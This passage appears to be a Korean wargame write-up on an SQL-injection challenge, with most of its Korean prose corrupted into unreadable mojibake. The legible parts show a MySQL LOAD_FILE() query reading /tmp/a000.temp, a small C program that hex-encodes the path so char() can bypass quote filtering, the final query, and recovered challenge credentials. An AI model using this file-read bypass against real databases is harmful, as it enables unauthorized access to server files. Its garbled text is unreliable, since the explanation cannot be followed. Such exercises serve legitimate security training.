style.cssŋ  ủ Ṓᶔ  Ѿ⁄ ѻ╛̓ ˉ╘ ᶷ̯ʺ ͙ᴜӇ‡▓Ѥ ˦╙ Ṗ ὡ ▓ѻ. 

 

 

▄‡Ṓᶔ ᾅ√ӥѤ /tmp/a000.temp ⁄ ♇◑Ӈ‡ ▓Ѥ ˦╙ ῼ ὡ ▓╖ᶒ, ּתּ͔ͥתᵑ  

Ḵ  Ѿ́ᴛ ʺ♬ ₄ѻ. 

 

╪Ⱡ ӎ Ḵ  Ѿ́╬ mysql ᵙᵑ ᾒ  ὡ ▓Ѥ ╙ ╪↔ ⁴ ╪ ᾅ√ӥ ▀╙ ⁸

ז ‒ Ѥ ˦╖ᴛ Ṓ₄ѻ. ᶷⱠ ╪ּת⁄ҵ …͕Ӈ‡ ▓ѻᾎ  ᵙ⁄Ἄ quote  ᶷ▫ᵑ 

ᵠ ̆ ▓╖ᶒ, ủ ṕ ˺̓ Ợ↔  ὡ ▓Ѥ ᵙҵ Ⱡ ♠╪‴ѻ. 

 

ᾎ  Ừῷ ᵙᵑ ⅝  ὡ ▓Ѥ ⁄ ѻ╛̓ ˉ╪ ░ᴏ  Ṓ ѻ. 

 

 

˺̓Ѥ ѻ╛̓ ˉ ̆, ╪ᵑ  ᵙʺ ♬Ữ♠╖ᴛ ὡ ӇѤ ˦╙ ῼ ὡ ▓ѻ. 

 

 

http://zetorownage.xf.cz/style.css
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ᾅ√ӥʺ ҅͛ ▀╬ /tmp/a000.temp, ͎ᵙ̆ Ⱡ ╘˦ בֿ‡ל ◓ ♠╪Ϯᵡ SQL ᵙ

ᵑ ὡ  ὡ ▓Ѥ ░ᴏ ╪ ▓ѻ. ─⁄Ἄҵ …͕ ↔╪ ╙ ᵣ ╪ ░ᴏת₄ּ ⁴ ▀ Ͽ

ז⁸ ╙↔ ‒ Ѥ ˦╖ᴛ Ṓ╪ᶒ, ↕ᵙѤ ⁴͙Ἄ LOAD_FILE() ὡᵑ Ỹʻ  Ṗ ὡ ▓ѻ. 

 

ѻ╛̓ ˉ╪ Ợ↔ ᶔ ▀ Ͽ↔╥ ⁸ז╪ ʺѫ  ˦╪ѻ. 

select LOAD_FILE( ř/tmp/a000.temp Ś ); 

 

ᵣ ᶷⱠ⁄ἌѤ quoteתּ  ᶷ▫ᵑ ᵠ ͙ ԅᶷ⁄ ҉ ᵙѤ ♬Ữ♠╖ᴛ ᾒ Ӈּת Ώ

Ѥѻ. ╪ᵑ ↕  ὡ ▓Ѥ Ḣḹ╙ ῷ‒ Ѥҥ, char() ὡᵑ ╪↔ ₄ѻ. 

 

ѻ╛╘ char() ὡᵑ Ợ↔  ₉ᾎ╪ѻ. ῷᾅ ⁄ ҉ Ѥ Ὠ▫ᵑ ʻʻ ᶷ▫ᴛ ḕξ‡רѻ. 

 

 

╪Ⱡ char() ὡᵑ Ợ↔ ͙ ─ Ἄ ŗ/tmp/a000.temp Ř ᶷ▫⁸╙ ῷᾅ  Ὠ▫ᴛ ḕξ‡ ל

‡‒ Ѥҥ, ▬‰╪ Ḵ˞ᴠѻᶔ ѻ╛̓ ˉ╪ ʼѾ  ӹ╖ᴛ ˺  ὡ ▓ѻ. ṉ ╙ ὡ

 .Ѥ ӥѤ ѻ╛̓ ˉѻל

 

conv.c  

int main( int argc , char **argv )  

{ 

        int i = 0;  

 

        if( argc < 2 )  

                return 0;  

 



27 

 

        for( ; i < strlen(argv[1]) ; i++ )  

        { 

                if( i == 0 )  

                        printf( "0x%x" , argv[1][i] );  

 

                else 

                        printf( ",0x%x" , argv[1][i] );  

        } 

 

        printf(" \ n"); 

} 

 

╪Ⱡ ʼѾ  /tmp/a000.temp ᶷ▫⁸╙ char() ὡ ╬▫ ᾏ⁄ ᵭ˭ ṉ  ὡ ▓ѻ. 

[hkpco@ns sql_wargame]$ ./conv /tmp/a000.temp  

0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70 

 

ᾅ√ӥ ▀╙ ⁸ז ͙ ─  ꜙ♠╬ SQL ᵙѤ ѻ╛̓ ˉѻ. 

select load_file(char(0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70)); 

 

҉ ᵙᵑ ӎ Ḵ  ⁄ ░ᴏ ᶔ SQL ᵙᵑ ᾒ ᾎ  ˺̓ʺ ᴏӇᶒ, ͎ ˺̓ʺ ḕᴛ 

/tmp/a000.temp ▀╥ Ͽ↔╪ѻ. 

 

 

userѤ batman , passѤ skoda>batmobile ╬ ˦╙ ῼ ὡ ▓ѻ. ꜙ ᴛ͎╬╙ ─ ⁴ ʻʻ

ѻ╛̓ ˉ╪ ░ᴏ ₄ѻ.  
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҉ ́♬╖ᴛ ᴛ͎╬╙ ᾎҵ ᶔ Ἓ̑╙ ֽ Ѥ ŗwell done! Ř ᶉᾎּתᵑ Ṗ ὡ ▓ѻ. 

 

 

 

 

 

 

 

 


